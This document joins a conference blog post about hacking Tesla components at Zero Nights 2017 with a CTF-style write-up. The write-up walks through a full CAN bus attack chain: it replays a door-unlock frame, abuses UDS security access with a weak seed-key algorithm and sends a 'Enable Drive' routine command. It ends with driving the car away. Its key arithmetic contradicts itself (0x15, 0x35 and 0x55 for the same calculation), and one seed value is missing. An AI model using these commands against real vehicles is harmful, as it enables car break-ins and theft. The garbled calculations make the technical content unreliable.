Shock to the System: How We 'Hacked' a Tesla at Zero Nights 2017 ⚡🔧

0. Preamble: Back to the Digital Playground

If cracking that analog safe was a lesson in vintage, tactile hacking, then what came next was its perfect, high-tech counterpart. Welcome back to Zero Nights 2017—Russia's most epic hacker playground. The energy was still electric from the safe-cracking victory, but the conference was far from done with us. As a journalist for "Hacker" magazine, my mission was to document the chaos and creativity. But let's be real: when you see a Tesla's brain sitting on a table, wired up and begging to be poked, you don't just write about it. You roll up your sleeves and get your hands dirty. This is the story of how our rag-tag crew decided to give a Tesla a friendly, non-destructive digital nudge.

1. Zero Nights: Where the Future Gets Stress-Tested

Zero Nights wasn't just about listening to talks; it was about doing. Archibald Kane's creation was a sanctuary for the curious, a place where theory met practice in the most explosive ways. The 2017 edition was a melting pot of ideas:

• Next-gen research that made you question everything you knew about security.
• Villages dedicated to every discipline—from lock picking to IoT busting.
• An atmosphere where corporate security geeks and anarchic hobbyist hackers shared beers and exploits.

It was in this beautiful maelstrom that we found the Car Hacking Village. And sitting there, not as a full car but as a collection of its most vital organs, was our target: a Tesla Model S.

2. Why Tesla? The Hacker's Dream Ride (For All the Wrong Reasons)

Let's be clear: Tesla isn't some insecure clunker. But in 2017, it was the perfect storm for hacker interest. Why?

• It's a Computer on Wheels: Forget carburetors and spark plugs. A Tesla is a network of ECUs (Electronic Control Units) running millions of lines of code. More code = more potential bugs.
• Connected Everything: With constant OTA (Over-The-Air) updates and internet connectivity, the attack surface wasn't just physical; it was digital and vast.
• A High-Profile Target: Hacking a Toyota is cool. Hacking the poster child for the automotive revolution? That's headlines. By 2017, researchers had already shown glimpses of vulnerabilities, proving these rolling computers were a fascinating new frontier for infosec.

3. Our "Tesla" on the Table: Hacking Without the Heavy Lifting

You might be imagining a full Tesla parked in the middle of the conference hall. That would be ridiculously cool, but also ridiculously impractical. Instead, the organizers created the ultimate hacker-friendly setup:

• The Brain: The actual head unit (the giant touchscreen computer), complete with its OS.
• The Nervous System: A network of bench-mounted ECUs and the vehicle's CAN bus (Controller Area Network) - the digital backbone where all electronic components communicate.
• The Body: A real Tesla door with its electronic latch, window, and handles.
• The Heartbeat: The instrument cluster display.

This "Tesla in a box" was genius. It was all the fun of car hacking without the 2-ton paperweight. It gave us direct access to the CAN bus—the nervous system of the car where all the electronic components chat—and let us interact with real hardware in real-time.

4. No Manual, No Problem: The Hacker Mindset Takes the Wheel

Did we have a dedicated automotive security expert on our team? Nope. Did we have official Tesla schematics? Absolutely not. What we did have was the universal hacker toolkit:

1. Curiosity: The relentless need to ask, "What happens if I send this packet?"
2. Google-Fu: Rapid-fire searching for every research paper, conference talk, and forum post about Tesla CAN bus messages.
3. Adaptability: Applying knowledge from IT network hacking to this new, weird, vehicular network.
4. Basic Gear: We used a Raspberry Pi with a CAN bus interface and simple Python scripts to sniff and inject packets. Our main tools were Wireshark for analyzing CAN traffic and a terminal for sending commands.

We started by sniffing the legitimate traffic on the CAN bus when the door handle was activated. Then, we tried to replay those signals. Then came the fuzzing—sending random, unexpected data to see what the system would do. It was a beautiful, chaotic process of educated guessing and reverse-engineering the protocol from scratch.

5. The Payoff: When the Digital Key Turned

After hours of experimentation, the magic happened. By reverse-engineering the communication on the CAN bus, we identified the specific commands that controlled:

• The Door Latch: We found the command that tricked the system into thinking a valid key fob was present. A satisfying CLUNK echoed from the door module as it unlocked.
• The Ignition Sequence: We didn't just stop at the door. We pushed further, spoofing the command that tells the car it's okay to start. The instrument cluster lit up like a Christmas tree, simulating an engine start.

We didn't hotwire it; we packet-wired it. The crowd that gathered erupted in cheers. It was a textbook example of a hardware-level vulnerability—by having physical access to the internal network (which an attacker might get by compromising a lesser ECU or through a malicious repair), we could send unauthorized commands to critical systems.

6. Conclusion: More Than Just a Party Trick

This wasn't just a cool demo; it was a live, hands-on case study of a real-world threat. We took abstract concepts—CAN bus injections, ECU vulnerabilities—and turned them into something tangible: an unlocked door and a "started" engine. We showed that even with partial physical access (e.g., to a diagnostic port), one could potentially gain control over critical functions.

The Tesla challenge at Zero Nights 2017 was everything that makes hacker culture incredible:

• Real Gear: We worked on actual Tesla components, not simulations.
• Pure Research: The drive was knowledge and fun, not malice.
• Community Learning: Everyone learned from each other's failures and successes.
• Unforgettable Fun: The sheer, unadulterated kaif of making something do what it's not supposed to do.

It showed that the best security challenges don't need a full car; they just need creativity, genuine hardware, and a bunch of curious minds willing to break things to make them stronger. It was a hell of a ride.

Would you dare let us near your smart car? Share your thoughts in the comments!

// D3One, now accepting applications for a get-away driver.

CarPWN: "Tesla Model S (2017) Gateway Bypass"

Category: Hardware Security / Automotive Hacking
Difficulty: Hard
Estimated Time: 4-6 hours
Author: Lacky team
Year: 2017
Target: Tesla Model S (circa 2017, with firmware version 17.11.3)

Challenge Description

Welcome, Red Team. Our client, a penetration testing firm, has been tasked with assessing the physical security of a Tesla Model S. The vehicle is located in a secure garage. You have obtained temporary physical access to the vehicle's interior.

Your goal is to gain permanent access to the vehicle by:

1. Cloning a Digital Key: Create a functional clone of the owner's key fob to unlock the doors.
2. Defeat Drive Authorization: Bypass the system that prevents the car from being driven without a recognized key present inside the cabin.

You have connected a laptop to the vehicle's Diagnostic OBD-II port. You suspect the critical systems are located on a privileged internal CAN bus.

Objectives:

1. Identify the gateway ECU and access the internal CAN bus.
2. Sniff and reverse-engineer the door unlock command.
3. Sniff and reverse-engineer the "Start Drive" command.
4. (Optional) Identify a vulnerability that allows persistent code execution on the gateway or infotainment system.

Tools Provided: A laptop running Kali Linux with can-utils, Wireshark, and a SocketCAN-compatible USB-CAN adapter (e.g., EMS NeoVI, Kvaser, or a cheaper CANable).

---

Step-by-Step Solution: The Attack Methodology

Step 1: Reconnaissance and Mapping the CAN Network

The first step is to understand the network topology. A Tesla, like most modern cars, has multiple CAN buses (Powertrain, Chassis, Body, Infotainment) connected via a central Gateway ECU. The OBD-II port often provides access to a less-critical bus; the goal is to pivot to the internal bus where key commands are sent.

Actions & Commands:

1. Connect the USB-CAN adapter to the OBD-II port.

2. Bring up the CAN interface:
   

   sudo ip link set can0 up type can bitrate 500000
   sudo ifconfig can0 up
   

3. Start sniffing general traffic to identify active buses and patterns:
   

   candump -l can0
   

4. Analyze the captured log file in Wireshark. You'll notice a flood of messages. You need to filter for security-relevant commands. Look for messages that appear infrequently, likely triggered by a key fob button press.

Step 2: Triggering and Sniffing the Unlock Command

Actions & Commands:

1. Have an accomplice press the key fob's unlock button while you are sniffing.
2. Alternatively, press the door handle button to trigger an unlock attempt.

3. In Wireshark, look for a message that appears exactly once during this event. It might look something like this in candump output:
   

   can0 2F0   [8]  05 62 00 00 01 A5 C8 11   # Example: Body Control Module ID, Unlock Cmd
   can0 311   [8]  00 00 00 00 00 00 00 00   # Example: Gateway relay message
   

4. Note the CAN ID and the data payload. The key is in the data bytes. For example, the byte 01 might indicate "unlock" and 00 might indicate "lock". The other bytes might be a counter or a simple checksum.

Step 3: Spoofing the Unlock Command (Key Cloning)

Once you've isolated the message, you can replay it to impersonate the key fob.

Actions & Commands:

1. Use cansend to inject the captured message back onto the bus:
   

   cansend can0 2F0#0562000001A5C811
   

2. If the message is correct, you will hear the door locks activate. Congratulations, you've cloned the key signal. This is a simple replay attack, proving the system lacks rolling codes or uses a weak implementation.

Step 4: The Hard Part - Bypassing the Drive Authorization

This is more complex. The vehicle might unlock with a replayed signal, but it won't drive without the key's immobilizer signal inside the car. This is typically done via Passive Keyless Entry (PKE) or a key in the cup holder.

The Attack Vector: Diagnostic Security Access
Research at the time showed that the Gateway ECU often had diagnostic functions that could be abused.

Actions & Commands:

1. Find the Diagnostic Session: You need to talk to the Gateway ECU directly. You need its CAN ID. This was often publicly known or could be found by scanning (e.g., trying to send diagnostic requests to different IDs).
   • Standard Diagnostic ID: Try sending requests to 0x7DF (broadcast) or known addresses like 0x752 (Gateway).

2. Request Security Access: The Unified Diagnostic Services (UDS) protocol has a 0x27 service for "Security Access". You need to send a seed request and then calculate a key to gain privileged access.
   

   # Request a seed from the Gateway (UDS Service 0x27, Subfunction 0x01)
   cansend can0 752#0227010000000000
   

3. Calculate the Key: The ECU responds with a random seed (e.g., -). Many older systems used weak algorithms to generate the key from this seed (e.g., a linear algorithm, or even a fixed response). This algorithm could be reversed from firmware dumps or discovered through research.

   • Example: If the seed is 0x44 0x71, the key might be (0x44 XOR 0x71) + 0x20 = 0x15 + 0x20 = 0x35.

   # Send the calculated key (UDS Service 0x27, Subfunction 0x02)
   cansend can0 752#0227020000003500
   

4. Send the Malicious Command: Once security access is granted, you can use other UDS services. The critical one is Routine Control (0x31) which can start/stop processes.

   • Research might show that Routine ID 0x0201 is "Enable Drive".

   # Start Routine 0x0201 - "Enable Drive"
   cansend can0 752#0231010201000000
   

5. If successful, the dashboard will show "Ready to Drive", and you will be able to put the car into gear.

Full Example of a Successful Exploit Chain

# 1. Bring up the interface
sudo ip link set can0 up type can bitrate 500000
sudo ifconfig can0 up

# 2. Sniff and discover the unlock command is: ID 0x2F0, Data: 05 62 00 00 01 A5 C8 11
# 3. Clone the key and unlock the car
cansend can0 2F0#0562000001A5C811

# 4. Get inside the car. Now bypass the immobilizer via the Gateway.
# 5. Request Security Access seed from the Gateway (0x752)
cansend can0 752#0227010000000000
# ECU responds: 752#0327114471000000 (seed = 44 71)

# 6. Calculate the key: (0x44 XOR 0x71) = 0x35; 0x35 + 0x20 = 0x55
cansend can0 752#0227020000005500
# ECU responds: 752#0327120000000000 (positive response!)

# 7. Send the command to enable the drive state
cansend can0 752#0231010201000000

# 8. The car is now in "Ready" state. You may drive away.

Key Technical Details & Why It Worked (Circa 2017)

• Lack of Rolling Codes: The key fob signal, once sniffed, could be replayed. Modern systems use cryptographic challenges and responses that change every time.
• Insecure Diagnostic Interface: The Gateway ECU's diagnostic port was accessible from the OBD-II bus and used a weak security algorithm for access control. This allowed attackers to send privileged commands.
• Hardcoded Secrets/Routines: The UDS Routine IDs and the algorithm for calculating the security access key were often hardcoded and identical across many vehicles, making them susceptible to reverse engineering.